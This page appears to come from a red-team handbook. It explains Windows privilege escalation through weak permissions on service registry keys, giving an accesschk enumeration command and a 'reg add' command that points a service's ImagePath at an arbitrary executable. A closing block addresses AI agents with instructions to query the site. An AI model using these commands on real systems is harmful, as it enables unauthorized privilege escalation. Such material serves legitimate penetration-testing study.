# Misconfigured Registry Hives

We may have over privileged access to some registry keys that we can abuse for privilege escalation.&#x20;

```
accesschk.exe -accepteula -kvuqsw hklm\System\CurrentControlSet\services > file.txt
```

In this file, we want to look at "Authenticated Users", and see if we have any interesting privileges to any interesting keys. For example, if we have "KEY\_ALL\_ACCESS" to a service, we can abuse this for privilege escalation.

To abuse this, we can issue the following command:

```
reg add HKLM\SYSTEM\CurrentControlSet\services\service /v ImagePath /t REG_EXPAND_SZ /d C:\executable /f  
```

We know have to wait for the service to restart, or somehow trigger it to restart.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
